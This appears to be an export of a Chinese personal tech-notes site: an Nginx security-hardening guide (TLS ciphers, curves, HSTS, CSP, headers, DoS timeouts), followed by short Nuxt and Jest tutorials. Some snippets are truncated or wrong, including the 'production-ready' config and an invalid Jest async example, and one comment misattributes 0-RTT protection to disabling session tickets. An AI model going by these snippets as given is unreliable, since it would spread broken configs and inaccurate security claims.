   * **Grade**：A+ 表示配置非常安全

**小技巧**：

SSL Labs 会检测协议版本、密钥长度、证书链、加密算法等

调整 Nginx 配置后可以重新测试，直到达到理想分数

## 强密码配置

**强密码套件是什么**？

* **密码套件（Cipher Suite）**：TLS/HTTPS 里定义的加密算法组合
  包括：
  1. **密钥交换算法**（Key Exchange） – 生成会话密钥
  2. **加密算法**（Encryption） – 用于加密通信数据
  3. **消息认证算法**（MAC） – 确保数据未被篡改
* 强密码套件 = 使用**现代加密算法 + 前向保密 + 安全哈希**
* 弱密码套件 = 使用过时算法（如 RC4、DES、MD5）或不支持前向保密，容易被破解

**简单理解**：密码套件就像通信的锁和钥匙组合，强密码套件就是最坚固的锁。

**为什么要使用强密码套件**？

1. **防止信息被窃取**
   弱密码可能被攻击者解密，获取用户数据或会话信息
2. **防止回放和破解攻击**
   * 没有前向保密的密钥一旦泄露，以前的通信也能被解密
   * CBC、RSA 弱密码容易受到 ROBOT、POODLE 等攻击
3. **提高 SSL Labs 测试分数**
   * 使用强密码 + TLS1.2/1.3 → A+
   * 弱密码或兼容旧 TLS → 分数下降
4. **兼顾速度和安全性**
   * ECDHE 套件比 DHE 更快
   * TLS1.3 本身只支持安全套件，Nginx 默认使用最安全的

**Nginx 推荐强密码套件配置**

```nginx
# TLS1.3 + TLS1.2
ssl_protocols TLSv1.3 TLSv1.2;

# TLS密码套件（强套件）
ssl_ciphers "TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-256-GCM-SHA384:TLS13-AES-128-GCM-SHA256:
             ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:
             DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:
             ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-CHACHA20-POLY1305:
             ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:
             DHE-RSA-AES128-GCM-SHA256";

ssl_prefer_server_ciphers on;   # 使用服务器推荐顺序
```

* **TLS1.3** 密码固定，Nginx 无法自定义，但默认安全
* **TLS1.2** 需要手动配置套件顺序，ECDHE 放在前面保证速度和前向保密
* 禁用弱密码套件：DES、3DES、RC4、MD5、SHA1、RSA（无前向保密）

**检查服务器支持的密码套件**

```bash
# 查看支持的密码套件
openssl ciphers -s -v

# 只查看支持 ECDHE 的套件
openssl ciphers -s -v ECDHE

# 只查看支持 DHE 的套件
openssl ciphers -s -v DHE
```

**总结**：

* 强密码 = 现代算法 + 前向保密 + 安全哈希
* TLS1.3 默认安全；TLS1.2 需配置密码套件
* 弱密码套件（DES/3DES/RC4/MD5/SHA1/RSA）不要使用
* 使用 SSL Labs 测试，确保 A+ 分数
* ECDHE/DHE 前置，提高性能和安全性

## 使用更安全的 ECDH 曲线

**理由**：

* 椭圆曲线（ECC）决定了 ECDHE 密钥交换的安全性。
* SafeCurves 网站评估了各种曲线的安全性。
* 对 TLS 1.2/1.3，推荐：
  * **x25519**（最安全，但兼容性稍差）
  * **prime256v1 / P-256**（最常用，兼容性好）
  * **secp384r1 / P-384**（可选，增加安全性但增加计算成本）
* 避免使用安全性不足的小曲线，如 secp112r1、secp128r1 等。

**配置示例**：

```nginx
# TLS 1.2 和 1.3 的安全曲线顺序
ssl_ecdh_curve X25519:secp521r1:secp384r1:prime256v1;
```

推荐顺序：x25519 > secp521r1 > secp384r1 > prime256v1

TLS 1.3 默认曲线 x25519，无需 Nginx 显式设置，但可以指定顺序以提高兼容性。

## 使用具有完全前向保密的强密钥交换

**理由**：

* 前向保密（Forward Secrecy, FS）保证会话密钥泄露不会影响历史通信。
* ECDHE（椭圆曲线 DH 临时密钥）比 DHE 快且安全。
* DHE 默认使用 1024 位参数弱，建议至少 2048 位。
* TLS 1.3 默认启用 ECDHE，DHE 可选。

**DH 参数生成**：

```bash
# 2048 位 DH
openssl dhparam -out /etc/nginx/ssl/dhparam_2048.pem 2048

# 4096 位 DH
openssl dhparam -out /etc/nginx/ssl/dhparam_4096.pem 4096
```

**Nginx 配置**：

```nginx
ssl_dhparam /etc/nginx/ssl/dhparam_2048.pem;
```

TLS 1.3 + ECDHE 不需要设置 `ssl_dhparam`

仅使用 DHE 时才需要 DH 参数

## 防止 TLS 1.3 0-RTT 重放攻击

**理由**：

* 0-RTT 可提升性能，但可能导致重放攻击。
* 默认 TLS 1.3 未启用 0-RTT，初学者应禁用。
* 若启用，需在应用层检测 `$ssl_early_data`。

**配置示例**：

```nginx
server {
    ssl_protocols TLSv1.2 TLSv1.3;

    # 禁用或开启 0-RTT
    ssl_early_data off;

    location / {
        proxy_pass http://backend;
        proxy_set_header Early-Data $ssl_early_data;
    }
}
```

**测试 0-RTT**：

```bash
openssl s_client -connect example.com:443 -tls1_3 -sess_out session.pem
openssl s_client -connect example.com:443 -tls1_3 -sess_in session.pem -early_data req.in
```

## 防御 BEAST 攻击

**理由**：

BEAST 攻击依赖 TLS 1.0/1.1 和 CBC 分组密码。

防御措施：

* 优先服务器密码顺序
* 禁用 TLS 1.0
* 仅使用 TLS 1.2+ 强密码套件

**配置示例**：

```nginx
ssl_prefer_server_ciphers on;
```

## 缓解 CRIME / BREACH 攻击

**理由**：

* CRIME 利用 TLS 压缩
* BREACH 利用 HTTP 压缩的敏感响应

**措施**：

* 禁用动态 TLS 压缩（Nginx 1.3.2+ 默认禁用 TLS 压缩）
* HTTP 压缩仅对非敏感内容使用
* 对静态资源使用 `gzip_static`

**配置示例**：

```nginx
# 禁用动态 HTTP 压缩
gzip off;

# 对特定静态资源启用压缩
location ^~ /assets/ {
    gzip_static on;
}
```

静态文件 gzip 可以提高性能且安全

动态压缩敏感响应需谨慎

## HTTP 严格传输安全 (HSTS)

**理由**：

* 告诉浏览器：只允许 HTTPS 连接，防止 MITM、降级攻击、明文 cookie 泄露。
* `max-age` 建议 12~24 个月（31536000~63072000 秒）。
* 推荐启用 `includeSubDomains`，可选 `preload`。
* 启用 HSTS 前确保全站 HTTPS 可用。

**配置示例**：

```nginx
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
```

若要加入 HSTS 预加载列表，请使用 `preload` 并满足列表要求

## 内容安全策略 (CSP)

**理由**：

* 限制资源加载来源，减少 XSS 风险。
* 可以阻止内联脚本和 `eval`，降低攻击面。
* 需与开发团队协作更新应用，确保策略不破坏功能。

**配置示例**：

```nginx
add_header Content-Security-Policy "default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self';" always;
```

默认拒绝所有内容，通过白名单放行必要资源

## Referer 控制 (Referrer-Policy)

**理由**：控制请求中发送的 Referer 信息，减少敏感信息泄露。

**示例**：

```nginx
add_header Referrer-Policy "no-referrer" always;
```

## 点击劫持保护 (X-Frame-Options)

**理由**：防止网站被嵌入 iframe，避免 UI 劫持攻击。

**示例**：

```nginx
add_header X-Frame-Options "SAMEORIGIN" always;
```

## 防止 XSS (X-XSS-Protection)

**理由**：启用浏览器内置的 XSS 过滤器（现代浏览器）。

**示例**：

```nginx
add_header X-XSS-Protection "1; mode=block" always;
```

## 防止 MIME 嗅探 (X-Content-Type-Options)

**理由**：阻止浏览器基于内容猜测 MIME 类型，防止 MIME 注入攻击。

**示例**：

```nginx
add_header X-Content-Type-Options "nosniff" always;
```

## 拒绝不必要的浏览器功能 (Feature-Policy / Permissions-Policy)

**理由**：禁止第三方或旧 API 滥用，提高隐私安全。

**示例**：

```nginx
add_header Feature-Policy "geolocation 'none'; midi 'none'; notifications 'none'; push 'none'; sync-xhr '
```

## 限制不安全 HTTP 方法

**理由**：公共服务器仅需支持 GET、POST、HEAD，其他方法增加攻击面。

**示例**：

```nginx
add_header Allow "GET, POST, HEAD" always;

if ($request_method !~ ^(GET|POST|HEAD)$) {
    return 405;
}
```

## 防止缓存敏感数据

**理由**：避免浏览器缓存敏感信息，保证安全性。

**示例**：

```nginx
location /api {
    expires 0;
    add_header Cache-Control "no-cache, no-store, private, must-revalidate, max-age=0, no-transform";
}
```

## 控制缓冲区大小

**理由**：缓冲区溢出攻击是通过将数据写入缓冲区并超出该缓冲区的边界并覆盖进程的内存片段来实现的。为了防止这种情况在 Nginx 中，我们可以为所有客户端设置缓冲区大小限制。

**示例**：

```nginx
client_body_buffer_size 100k;
client_header_buffer_size 1k;
client_max_body_size 100k;
large_client_header_buffers 2 1k;
```

## 缓解慢速 HTTP DoS 攻击（Slowloris）

**理由**：避免攻击者通过慢速连接耗尽服务器资源。

**示例**：

```nginx
client_body_timeout 10s;
client_header_timeout 10s;
keepalive_timeout 5s 5s;
send_timeout 10s;
```

## 完整安全配置示例

涵盖：TLS、安全头、缓冲区限制、DoS 防护等，可直接用在生产环境。你可以在你的 `server` 或 `http` 块里使用它。

```nginx
# -------------------------------
# 基础安全设置
# -------------------------------
server_tokens off;                 # 隐藏 Nginx 版本号
more_clear_headers Server;         # 隐藏上游代理标头（需要 ngx_headers_more 模块）

# -------------------------------
# 强制 HTTPS + TLS 配置
# -------------------------------
listen 443 ssl http2;
server_name example.com www.example.com;

ssl_certificate /etc/ssl/certs/example.crt;
ssl_certificate_key /etc/ssl/private/example.key;

# 使用最新 OpenSSL，最少 2048 位私钥
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:...
# 使用强密钥交换 + ECDH 曲线
ssl_ecdh_curve X25519:P-521:P-384:P-256;
ssl_session_cache shared:SSL:50m;
ssl_session_timeout 1d;
ssl_session_tickets off;           # 防止 TLS 1.3 0-RTT 重放攻击
ssl_dhparam /etc/ssl/certs/dhparam.pem;  # 生成 2048+ 位 DH 参数文件

# -------------------------------
# HTTP 严格传输安全 (HSTS)
# -------------------------------
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;

# -------------------------------
# 内容安全策略 (CSP)
# -------------------------------
add_header Content-Security-Policy "default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self';" always;

# -------------------------------
# Referer 控制
# -------------------------------
add_header Referrer-Policy "no-referrer" always;

# -------------------------------
# 点击劫持保护
# -------------------------------
add_header X-Frame-Options "SAMEORIGIN" always;

# -------------------------------
# 防 XSS
# -------------------------------
add_header X-XSS-Protection "1; mode=block" always;

# -------------------------------
# 防 MIME 嗅探
# -------------------------------
add_header X-Content-Type-Options "nosniff" always;

# -------------------------------
# 功能控制
# -------------------------------
add_header Feature-Policy "geolocation 'none'; midi 'none'; notifications 'none'; push 'none'; sync-xhr 'none'; microphone 'none'; camera 'none'; magnetometer 'none'; gyroscope 'none'; speaker 'none'; vibrate 'none'; fullscreen 'none'; payment 'none'; usb 'none';" always;

# -------------------------------
# 限制不安全 HTTP 方法
# -------------------------------
add_header Allow "GET, POST, HEAD" always;
if ($request_method !~ ^(GET|POST|HEAD)$) {
    return 405;
}

# -------------------------------
# 防止缓存敏感数据
# -------------------------------
location /api {
    expires 0;
    add_header Cache-Control "no-cache, no-store, private, must-revalidate, max-age=0, no-transform";
}

# -------------------------------
# 控制缓冲区大小
# -------------------------------
client_body_buffer_size 100k;
client_header_buffer_size 1k;
client_max_body_size 100k;
large_client_header_buffers 2 1k;

# -------------------------------
# 缓解慢速 HTTP DoS 攻击
# -------------------------------
client_body_timeout 10s;
client_header_timeout 10s;
keepalive_timeout 5s 5s;
send_timeout 10s;

# -------------------------------
# 重定向 HTTP 到 HTTPS
# -------------------------------
server {
    listen 80;
    server_name example.com www.example.com;
    return 301 https://$host$request_uri;
}
```

1. **DH 参数**：`openssl dhparam -out /etc/ssl/certs/dhparam.pem 2048`
2. **隐藏上游代理**：`more_clear_headers Server;` 需要 `ngx_headers_more` 模块。
3. **TLS 配置**：仅启用 TLS 1.2+，优先使用 ECDHE 密钥交换，提供前向保密。
4. **CSP / HSTS**：生产环境可根据实际需求调整策略严格度。
5. **HTTP 方法限制**：GET/POST/HEAD 为最小必要集，可扩展。

​

---

---
url: /notes/announcement/index.md
---
# 公告
大家好！

因为开学快到了，我的博客/笔记近期更新可能会很少。内容依然主要是自己写给自己的整理笔记，顺便分享给偶尔路过的你。

感谢自己一直坚持，也欢迎偶尔点进来看看，不用期待太多更新哦～

— 鱼梦江湖

---

---
url: /nuxt/index.md
---
# Nuxt
Nuxt 是 基于 Vue 的下一代 Nuxt 框架，用来更轻松地做 SSR（服务端渲染）/ SSG（静态生成）/ SPA，同时把开发体验、性能、类型支持（TypeScript）和全栈能力都往前推了一大步。

## 优点

* **SEO 友好的 SSR 网站**（比如内容站、营销站、后台管理的 SSR 版本）
* **静态站点**（文档站、活动页、博客）
* **更接近全栈的 Web 应用**：前端页面 + 服务端接口 + 运行时渲染，一套项目里搞定

---

---
url: /nuxt/4n751hkl/index.md
---
# 各种渲染模式
## CSR

服务器先返回一个很瘦的 HTML（基本是壳 + JS），浏览器下载 JS 后再请求数据、拼页面。

**优点**

* **交互体验好**：特别适合复杂交互（后台系统、富应用）
* **服务器压力小**：主要压力在客户端
* **前后端分离舒服**：API + 前端 SPA 很常见

**缺点**

* **首屏慢**：要等 JS 下载/执行完才能看到主要内容
* **SEO 相对差**：纯 CSR 对搜索引擎不友好（现在也能做，但成本更高）
* **弱网/低端机体验差**：JS 重、执行慢就卡

**适用场景**

后台管理、需要登录后才能看内容的应用、强交互 web app。

## SSR

用户请求页面 → 服务器把页面渲染成 HTML（通常也会拉取数据）→ 返回完整 HTML → 浏览器“水合”（hydrate）接管交互。

**优点**

* **首屏快**：第一时间就有 HTML 内容
* **SEO 友好**：搜索引擎更容易抓取
* **分享预览好**：社交平台爬虫能读到内容（标题、摘要、OG 图）

**缺点**

* **服务器成本更高**：每次请求都要渲染
* **复杂度高**：同构代码、hydration、缓存、首屏数据、状态一致性
* **TTFB 可能变长**：服务器渲染花时间（但换来首屏更完整）

**适用场景**

内容型页面、营销页、电商商品详情、文章页、对 SEO/首屏特别敏感的页面。

## SSG

构建时（build）就把每个页面生成静态 HTML 文件，部署到 CDN，用户请求直接拿静态文件。

**优点**

* **最快**（通常）：CDN 直接回静态 HTML
* **最便宜、最稳**：几乎不需要服务器渲染
* **安全**：攻击面更小（主要是静态资源）

**缺点**

* **内容更新不实时**：更新要重新 build + 发布
* **页面数量多会 build 很慢**：比如几万篇文章、很多商品页
* **个性化难**：基于用户实时数据要靠客户端再请求

**适用场景**

文档站、博客、活动页、公司官网、内容更新不频繁的站点。

## ISR

常见于 Next.js 概念，Nuxt 生态里也有类似的“按需重新生成/缓存失效再生成”的思路（不同平台实现细节会不一样）。

页面先按 SSG 方式生成并走 CDN。之后：

* 可以设置 **定时重新生成**（比如每 60 秒允许更新一次）
* 或者 **某个页面被访问时发现过期**，后台再生成新版本并替换缓存
  （用户可能拿到旧的，但很快会变新）

**优点**

* **兼顾 SSG 性能 + SSR 更新能力**
* **大站友好**：不用每次全量 build，内容更新更灵活
* **成本更可控**：绝大多数流量仍是静态

**缺点**

* **一致性是“最终一致”**：短时间内可能有人看到旧内容
* **缓存策略复杂**：什么时候过期、怎么触发更新、怎么回源
* **依赖平台能力**：部署环境要支持这种缓存/重建模型

**适用场景**

电商商品、新闻、内容量大且经常更新但又想保持静态性能的站。

---

---
url: /nuxt/5avmwf15/index.md
---
# Nuxt 学习
## 初始化

```bash
npx nuxi init
```

## NuxtPage

`<NuxtPage />` 只是一个“**把当前路由对应页面渲染出来**”的占位符，本质上是 **框架帮你把路由表自动生成了**

可以把它理解成 Nuxt 的两件事配合起来：

**基于 `pages/` 目录的自动路由（file-based routing）**

**`<NuxtPage />` = 路由出口（类似 Vue Router 的 `<router-view />`）**

`pages/` 目录，Nuxt 自动生成路由

```bash
pages/
  index.vue
  about.vue
  users/
    index.vue
    [id].vue
```

Nuxt 会自动变成类似这样的路由（概念上）：

* `/` → `pages/index.vue`
* `/about` → `pages/about.vue`
* `/users` → `pages/users/index.vue`
* `/users/:id` → `pages/users/[id].vue`

你根本不需要手写 `routes: [...]`。

## components 自动导入

你把组件放进 `components/` 目录后，Nuxt 会在开发/构建时扫描这个目录，自动帮你做两件事：

* **自动注册组件**（所以你在别的组件里不用 `import` / `components:{}`）
* **按需引入**（通常会做 tree-shaking/按需打包，不是把所有组件一股脑全塞进去）

**最常见规则**

假设你有：

```bash
components/
  Hello.vue
  BaseButton.vue
  user/
    Avatar.vue
```

在页面/组件里你可以直接写：

```bash
<template>
  <Hello />
  <BaseButton />
  <UserAvatar />
</template>
```

**命名规则小结**

* 文件名 `Hello.vue` → 组件名 `<Hello />`
* 子目录会变成前缀：`user/Avatar.vue` → `<UserAvatar />`
* 多词文件名会转成 PascalCase：`base-button.vue` → `<BaseButton />`

（Nuxt 会把路径结构“拼”进组件名里，避免重名。）

模板里建议用 **PascalCase**（`<BaseButton />`）最稳。

有些情况下 `<base-button>` 也能工作，但别混着来，尤其在 TS/自动提示上会有坑。

默认只扫 `components/`（以及配置里加的目录）。

如果你把组件丢到 `src/ui/` 这种地方，就不会自动导入（除非你配置）。

## 路由

nuxt 3 的路由基于 vue-router，并且通过文件目录结构来自动生成，可以在 pages/ 目录下创建一个文件来定义一个路由

使用 `[dynamic]` 来定义动态路由，如果是可选参数可以使用 `[[dynamic]]`

在 pages/ 目录下创建一个 `users-[group]` 文件夹，在其内部再创建一个 `[id].vue` 文件，重启 nuxt ，例如访问 `http://localhost:3000/users-admin/1`

在页面中可以使用 `const route = useRoute()` 获取路由参数，比如 `route.params.id` 或 `route.params.group`

当使用嵌套路由的时候，比如 `pages/parents/child.vue`，无法直接访问这个路径下的文件，需要创建一个`pages/parents.vue` 文件并在其中插入一个`<NuxtPage />`

可以使用`<NuxtLink to="/about">关于</NuxtLink>` 进行页面跳转

编程式导航：

```js
const router = useRouter()
const toAbout = ()=>{
    router.push({
        path:'/about'
        query:userInfo		// 传参
    })
}
```

在对应的页面使用 `route.query` 获取

也可以直接在 template 中使用：

```vue
<NuxtLink :to="{ path: 'about', query: userInfo }">用户</NuxtLink>
```

## 中间件

---

---
url: /posts/index.md
---
# README
你好，我是==鱼梦江湖=={.important}，这是我的==技术知识库=={.important} 。

这里主要记录我在学习和实践中的各种笔记与心得。

有些内容只是随手记下的学习要点，有些则整理得比较系统，甚至可以直接作为一个技术栈的入门教程来使用。

本知识库会不断更新，既是我学习的轨迹，也是未来可以回顾与分享的积累。

树荫最常受益的可能还是你自己，但偶尔也会有路人路过，歇一歇脚。

---

---
url: /posts/04elwg9h/index.md
---
Jest 是目前前端单元测试最常用的框架之一，它的核心语法其实非常简洁，主要由三部分组成：

* **测试定义函数**（`test`, `it`, `describe`）
* **断言函数**（`expect`, `toBe`, `toEqual`, `toContain` 等）
* **生命周期钩子**（`beforeEach`, `afterEach`, `beforeAll`, `afterAll`）

## 定义测试

### `test(name, fn)` 或 `it(name, fn)`

定义一个测试用例（两者完全等价）

```js
test('1 + 1 应该等于 2', () => {
  expect(1 + 1).toBe(2);
});
```

### `describe(name, fn)`

用于分组测试，常配合多个 `test` 使用

```js
describe('数组操作', () => {
  test('push 应该增加长度', () => {
    const arr = [];
    arr.push(1);
    expect(arr.length).toBe(1);
  });

  test('pop 应该删除最后一个元素', () => {
    const arr = [1, 2];
    arr.pop();
    expect(arr).toEqual([1]);
  });
});
```

## 断言（expect 系列）

### `expect(value)`

创建一个断言对象，用于链式调用匹配器（matchers）

### **基础比较**

| 方法               | 说明                              | 示例                           |
| ------------------ | --------------------------------- | ------------------------------ |
| `.toBe(value)`     | 使用 `===` 严格比较               | `expect(2 + 2).toBe(4)`        |
| `.toEqual(value)`  | 深度比较（对象/数组结构相同即可） | `expect({a:1}).toEqual({a:1})` |
| `.not.toBe(value)` | 否定断言                          | `expect(1 + 1).not.toBe(3)`    |

### **数值匹配**

| 方法                              | 说明                       | 示例                                           |
| --------------------------------- | -------------------------- | ---------------------------------------------- |
| `.toBeGreaterThan(number)`        | 大于                       | `expect(10).toBeGreaterThan(9)`                |
| `.toBeGreaterThanOrEqual(number)` | 大于等于                   | `expect(10).toBeGreaterThanOrEqual(10)`        |
| `.toBeLessThan(number)`           | 小于                       | `expect(5).toBeLessThan(10)`                   |
| `.toBeLessThanOrEqual(number)`    | 小于等于                   | `expect(5).toBeLessThanOrEqual(5)`             |
| `.toBeCloseTo(number[, numDigits])` | 浮点数比较（可指定精度） | `expect(0.1 + 0.2).toBeCloseTo(0.3)` 或 `expect(0.12345).toBeCloseTo(0.1234, 3)` |

### **字符串匹配**

| 方法                | 示例                               |
| ------------------- | ---------------------------------- |
| `.toMatch(/regex/)` | `expect('yumeng').toMatch(/meng/)` |

### **数组 & 可迭代对象**

| 方法               | 示例                                |
| ------------------ | ----------------------------------- |
| `.toContain(item)` | `expect([1, 2, 3]).toContain(2)`    |
| `.toHaveLength(n)` | `expect([1, 2, 3]).toHaveLength(3)` |

### **对象属性**

| 方法                             | 示例                                              |
| -------------------------------- | ------------------------------------------------- |
| `.toHaveProperty('key', value?)` | `expect(user).toHaveProperty('name', '鱼梦江湖')` |

### **异常捕获**

| 方法                   | 示例                           |
| ---------------------- | ------------------------------ |
| `.toThrow()`           | `expect(() => fn()).toThrow()` |
| `.toThrowError('msg')` | 精确匹配错误信息               |

### **异步测试**

对于 Promise：

```js
test('异步请求成功', async () => {
  await expect(fetchData()).resolves.toEqual('data');
});

test('异步请求失败', async () => {
  await expect(fetchData()).rejects.toThrow('Network Error');
});
```

## 生命周期钩子

| 方法             | 作用               |
| ---------------- | ------------------ |
| `beforeAll(fn)`  | 所有测试前执行一次 |
| `afterAll(fn)`   | 所有测试后执行一次 |
| `beforeEach(fn)` | 每个测试前执行     |
| `afterEach(fn)`  | 每个测试后执行     |

```js
beforeEach(() => {
  initDatabase();
});
afterEach(() => {
  clearDatabase();
});
```

## Mock & Spy（常用于函数、模块测试）

Mock（模拟）就是在测试环境中，用“假的”函数、对象或模块来代替真实的实现。

这样做的目的是：

让测试 **不依赖真实环境**（例如网络请求、数据库、系统 API），而专注于 **测试逻辑是否正确**。

假设你写了一个函数：

```js
import { getUser } from './api';

export async function getUserName(id) {
  const user = await getUser(id);
  return user.name;
}
```

但问题是：

* `getUser` 是真实网络请求；
* 你写单元测试时 **不希望真的发请求**（太慢、会失败、依赖网络）。

于是就用 **Mock 来伪造这个函数**

```js
import { getUserName } from './user';
import { getUser } from './api';

jest.mock('./api'); // 告诉 Jest：不要用真模块，用假的

test('返回用户名', async () => {
  // 假设接口返回的数据是：
  getUser.mockResolvedValue({ name: '鱼梦江湖' });

  const name = await getUserName(1);
  expect(name).toBe('鱼梦江湖');
});
```

这里：

* `jest.mock('./api')` → 替换掉真实的模块；
* `getUser.mockResolvedValue(...)` → 定义它的“假返回值”；
* 整个测试 **不发网络请求**，但行为完全一致。

### Mock 的几种类型

| 类型            | 说明                               | Jest 提供的 API           |
| --------------- | ---------------------------------- | ------------------------- |
| **函数 Mock**   | 模拟一个函数的实现                 | `jest.fn()`               |
| **模块 Mock**   | 模拟整个模块                       | `jest.mock('模块名')`     |
| **定时器 Mock** | 模拟 `setTimeout`, `Date.now()` 等 | `jest.useFakeTimers()`    |
| **类 Mock**     | 模拟类及其方法                     | `jest.mock()` + class spy |

#### 函数 Mock 示例

```js
const mockFn = jest.fn();

// 调用函数
mockFn('a', 'b');

// 查看调用情况
expect(mockFn).toHaveBeenCalled();
expect(mockFn).toHaveBeenCalledWith('a', 'b');

// 伪造返回值
mockFn.mockReturnValue(123);
expect(mockFn()).toBe(123);
```

#### 模拟定时器

有时候测试中有延迟逻辑，比如：

```js
function delay(fn) {
  setTimeout(fn, 1000);
}
```

我们不想真的等 1 秒钟：

```js
jest.useFakeTimers();

test('测试定时器', () => {
  const fn = jest.fn();
  delay(fn);

  // 快进时间
  jest.runAllTimers();

  expect(fn).toHaveBeenCalled();
});
```

### **模拟函数**

```js
const mockFn = jest.fn();
mockFn('a');
expect(mockFn).toHaveBeenCalled(); // 调用过
expect(mockFn).toHaveBeenCalledWith('a'); // 参数正确
```

### **模拟模块**

```js
jest.mock('./api');
import { getData } from './api';

test('mock模块返回值', () => {
  getData.mockResolvedValue('ok');
  await expect(getData()).resolves.toBe('ok');
});
```

## 实用技巧总结

| 场景              | 常用方法                       |
| ----------------- | ------------------------------ |
| 精确比较基础类型  | `toBe`                         |
| 比较对象/数组结构 | `toEqual`                      |
| 判断包含          | `toContain` / `toHaveProperty` |
| 浮点数计算        | `toBeCloseTo`                  |
| 正则匹配字符串    | `toMatch`                      |
| 捕获错误          | `toThrow`                      |
| 异步断言          | `.resolves` / `.rejects`       |
| 模拟函数          | `jest.fn()`                    |
| 模拟模块          | `jest.mock()`                  |

## 起步

使用 `npm` 初始化，并安装 `jest`。

```bash
# 创建项目
mkdir jest-demo
cd jest-demo

# 初始化
npm init -y

# 安装依赖
npm i -D jest
```

安装 Jest 后，用 `jest-cli` 初始化 `jest` 配置文件：

```bash
npm init jest@latest
```

::: note

**The following questions will help Jest to create a suitable configuration for your project**

以下这些问题将帮助 Jest 为你的项目创建一个合适的配置文件。

**√ Would you like to use Jest when running "test" script in "package.json"? ... yes**

是否希望在运行 `package.json` 中的 `"test"` 脚本时使用 Jest？…… 是的。

**√ Would you like to use Typescript for the configuration file? ... yes**

是否希望使用 TypeScript 来编写 Jest 的配置文件？…… 是的。

**√ Choose the test environment that will be used for testing » node**

选择用于测试的运行环境 → 选的是 “node” 环境。（说明测试将在 Node.js 环境中执行，而不是浏览器环境。）

**√ Do you want Jest to add coverage reports? ... yes**
是否希望 Jest 生成测试覆盖率报告？…… 是的。 （覆盖率报告能告诉你哪些代码被测试覆盖到了。）

**√ Which provider should be used to instrument code for coverage? » v8**
选择用于生成覆盖率统计的底层引擎 → 选的是 “v8”。（表示使用 Node.js 内置的 V8 引擎来计算测试覆盖率。）

**√ Automatically clear mock calls, instances, contexts and results before every test? ... yes**
是否希望在每次测试前自动清除所有 mock 的调用记录、实例、上下文和结果？…… 是的。（保证每个测试都是独立的，互不影响。）

:::

执行完之后，就会看到有一个 `jest.config.js` 的配置文件：

```ts
/**
 * For a detailed explanation regarding each configuration property, visit:
 * https://jestjs.io/docs/configuration
 * 
 * 关于每个配置项的详细解释，请访问官方文档：
 * https://jestjs.io/docs/configuration
 */

import type {Config} from 'jest'; // 导入 Jest 配置类型，用于 TypeScript 类型提示

const config: Config = {
  // All imported modules in your tests should be mocked automatically
  // 是否自动对测试中导入的模块进行 mock（默认 false）
  // automock: false,

  // Stop running tests after `n` failures
  // 当发生 n 个测试失败后，是否停止继续运行（默认 0，表示不停止）
  // bail: 0,

  // The directory where Jest should store its cached dependency information
  // Jest 存储缓存依赖信息的目录（加快测试速度）
  // cacheDirectory: "C:\\Users\\Administrator\\AppData\\Local\\Temp\\jest",

  // Automatically clear mock calls, instances, contexts and results before every test
  // 在每个测试前自动清除 mock 调用记录、实例、上下文和结果
  clearMocks: true,

  // Indicates whether the coverage information should be collected while executing the test
  // 是否在执行测试时收集代码覆盖率信息
  collectCoverage: true,

  // An array of glob patterns indicating a set of files for which coverage information should be collected
  // 需要收集覆盖率信息的文件匹配模式
  // collectCoverageFrom: undefined,

  // The directory where Jest should output its coverage files
  // Jest 输出覆盖率报告文件的目录
  coverageDirectory: "coverage",

  // An array of regexp pattern strings used to skip coverage collection
  // 不需要收集覆盖率的路径匹配规则
  // coveragePathIgnorePatterns: [
  //   "\\\\node_modules\\\\"
  // ],

  // Indicates which provider should be used to instrument code for coverage
  // 指定使用哪个覆盖率收集器（此处为 v8）
  coverageProvider: "v8",

  // A list of reporter names that Jest uses when writing coverage reports
  // Jest 生成覆盖率报告时使用的报告格式（如 json、text、lcov 等）
  // coverageReporters: [
  //   "json",
  //   "text",
  //   "lcov",
  //   "clover"
  // ],

  // An object that configures minimum threshold enforcement for coverage results
  // 设置代码覆盖率的最低门槛（如 80%）
  // coverageThreshold: undefined,

  // A path to a custom dependency extractor
  // 指定一个自定义依赖提取器模块路径
  // dependencyExtractor: undefined,

  // Make calling deprecated APIs throw helpful error messages
  // 调用已废弃 API 时是否抛出错误信息
  // errorOnDeprecated: false,

  // The default configuration for fake timers
  // 模拟定时器（如 setTimeout）时的默认配置
  // fakeTimers: {
  //   "enableGlobally": false
  // },

  // Force coverage collection from ignored files using an array of glob patterns
  // 强制对被忽略的文件收集覆盖率信息
  // forceCoverageMatch: [],

  // A path to a module which exports an async function that is triggered once before all test suites
  // 在所有测试开始前执行的全局初始化模块路径
  // globalSetup: undefined,

  // A path to a module which exports an async function that is triggered once after all test suites
  // 在所有测试结束后执行的全局清理模块路径
  // globalTeardown: undefined,

  // A set of global variables that need to be available in all test environments
  // 在所有测试环境中可用的全局变量
  // globals: {},

  // The maximum amount of workers used to run your tests. Can be specified as % or a number.
  // 设置最大并行测试 worker 数量，可为百分比或具体数字
  // maxWorkers: "50%",

  // An array of directory names to be searched recursively up from the requiring module's location
  // Jest 搜索模块时要查找的目录（通常为 node_modules）
  // moduleDirectories: [
  //   "node_modules"
  // ],

  // An array of file extensions your modules use
  // 模块文件使用的扩展名列表
  // moduleFileExtensions: [
  //   "js",
  //   "mjs",
  //   "cjs",
  //   "jsx",
  //   "ts",
  //   "mts",
  //   "cts",
  //   "tsx",
  //   "json",
  //   "node"
  // ],

  // A map from regular expressions to module names or to arrays of module names that allow to stub out resources
  // 模块路径的正则映射，用于替换或模拟模块（常用于 alias）
  // moduleNameMapper: {},

  // An array of regexp pattern strings, matched against all module paths before considered 'visible'
  // 模块加载前需要忽略的路径匹配模式
  // modulePathIgnorePatterns: [],

  // Activates notifications for test results
  // 是否启用系统通知显示测试结果
  // notify: false,

  // An enum that specifies notification mode. Requires { notify: true }
  // 通知的触发模式（需开启 notify）
  // notifyMode: "failure-change",

